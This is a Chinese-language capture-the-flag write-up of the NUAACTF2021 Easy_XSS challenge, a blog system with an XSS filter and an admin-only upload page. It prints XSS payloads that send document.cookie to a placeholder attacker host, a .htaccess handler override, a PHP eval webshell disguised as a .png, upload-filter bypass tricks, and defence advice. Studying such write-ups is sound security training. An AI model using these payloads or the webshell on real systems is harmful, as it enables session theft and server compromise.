NUAACTF2021 Easy_XSS 复现
字数 1012 2025-08-05 11:39:30
NUAACTF2021 Easy_XSS 漏洞复现与利用分析
1. 题目概述
题目名称:NUAACTF2021 Easy_XSS
题目类型:Web安全/XSS/文件上传绕过
难度等级:中等
目标:获取管理员权限并访问upload.php页面
2. 环境信息
- 网站功能:博客系统,用户可以发布文章
- 关键页面:upload.php(需要admin权限)
- 服务器环境:
- PHP 7.4.0
- Apache 2.4.38
3. 漏洞分析
3.1 XSS漏洞
过滤机制分析
系统对用户输入进行了过滤,函数如下:
function render_tags($str) {
$str = preg_replace('/script|img|svg|on|document|window/i', "" ,$str);
return $str;
}
该函数会将以下关键词替换为空字符串:
- script
- img
- svg
- on
- document
- window
绕过方法
方法一:双写绕过
<imimgg src='#' oonnerror="windwindowow.locatioonn.href='//VPSIP:PORT/'+documdocumentent.cookie">
方法二:iframe标签利用
<iframe srcdoc="<script>top.location.href='//VPSIP:PORT/'+document.cookie</script>"></iframe>
3.2 文件上传漏洞
upload.php代码分析
<?php
require_once 'init.php';
error_reporting(0);
if ($_SESSION['is_admin'] !== 1) {
echo "You are not admin! You can't access this page.";
highlight_file(__FILE__);
die();
}
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
if (isset($_POST["submit"])) {
$tmp_name = $_FILES["upload"]["tmp_name"];
$name = basename($_FILES["upload"]["name"]);
if (!$tmp_name) {
die();
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph/i", $extension)) {
die("illegal suffix!");
}
$upload_file_path = $userdir . "/" . $name;
if (!move_uploaded_file($tmp_name, $upload_file_path)) {
die("Error!");
}
echo "Your dir " . $userdir . ' <br>';
echo "Your file: ";
var_dump(scandir($userdir));
}
上传限制分析
- 需要admin权限
- 文件扩展名检查:
- 获取最后一个点后面的扩展名
- 使用
preg_match("/ph/i", $extension)检查,禁止包含"ph"的扩展名
绕过方法
方法一:.htaccess文件利用
上传.htaccess文件内容:
SetHandler application/x-httpd-php
或
AddType application/x-httpd-php .png
方法二:上传非ph扩展名的webshell
例如:miao.png
<?php @eval($_GET['miao']);?>
4. 完整攻击流程
4.1 获取管理员权限
- 注册普通用户账号
- 创建包含XSS payload的文章
- 管理员访问后窃取cookie(PHPSESSID)
- 修改本地cookie获取admin权限
4.2 文件上传利用
- 使用Python脚本上传.htaccess文件
- 上传webshell文件(如miao.png)
- 访问webshell执行命令
5. 防御建议
5.1 XSS防御
- 使用更严格的过滤机制,如:
function render_tags($str) { $str = preg_replace('/script|img|svg|on|document|window/i', "hacker" ,$str); return $str; } - 使用HTML实体编码
- 实施CSP策略
5.2 文件上传防御
- 白名单验证文件扩展名
- 检查文件内容而不仅是扩展名
- 禁用.htaccess文件上传
- 限制上传目录的PHP执行权限
6. 拓展知识
6.1 iframe srcdoc属性
srcdoc属性允许直接在属性值中写入HTML内容,可以用于XSS攻击:
<iframe srcdoc="<script>alert(1)</script>"></iframe>
6.2 文件上传检测绕过技术
- 双扩展名:test.php.png
- 大小写混淆:test.pHp
- 特殊字符:test.php%00.png
- .htaccess利用